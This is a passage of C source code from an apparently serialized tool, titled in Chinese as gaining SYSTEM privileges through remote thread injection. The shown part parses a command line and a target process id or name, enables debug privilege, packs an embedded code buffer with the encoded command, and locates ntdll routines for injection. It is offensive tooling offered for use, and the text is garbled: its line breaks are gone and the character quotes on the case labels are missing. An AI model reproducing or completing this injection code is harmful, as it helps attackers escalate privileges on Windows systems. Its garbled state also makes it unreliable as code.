|
远程线程注入版获取SYSTEM权限(12) { usage( argv[0] ); } else { switch ( tolower( argv[c][1] ) ) { case c: if ( ( c + 1 ) >= argc ) { usage( argv[0] ); } cmdline = argv[++c]; break; case p: if ( ( c + 1 ) >= argc ) { usage( argv[0] ); } pid = ( DWORD )strtoul( argv[++c], NULL, 0 ); break; case q: if ( ( c + 1 ) >= argc ) { usage( argv[0] ); } pname = argv[++c]; break; case v: fprintf( stderr, "%s ver "VERSION"\n", argv[0] ); return( EXIT_SUCCESS ); case h: case ?: default: usage( argv[0] ); break; } /* end of switch */ } } /* end of for */ if ( NULL == cmdline ) { fprintf( stderr, "Checking your [-c cmdline]\n" ); return( ret ); } if ( 0 == pid && NULL == pname ) { fprintf( stderr, "Checking your [-p pid] [-q pname]\n" ); return( ret ); } EnableCurrentProcessDebugPrivilege(); ZeroMemory( buf, sizeof( buf ) ); j = strlen( code ); memcpy( buf, code, j ); j += bufencode( cmdline, buf + j, strlen( cmdline ) + 1 ) + 1; if ( FALSE == LocateNtdllEntry() ) { fprintf( stderr, "LocateNtdllEntry() failed\n" ); goto main_exit;
|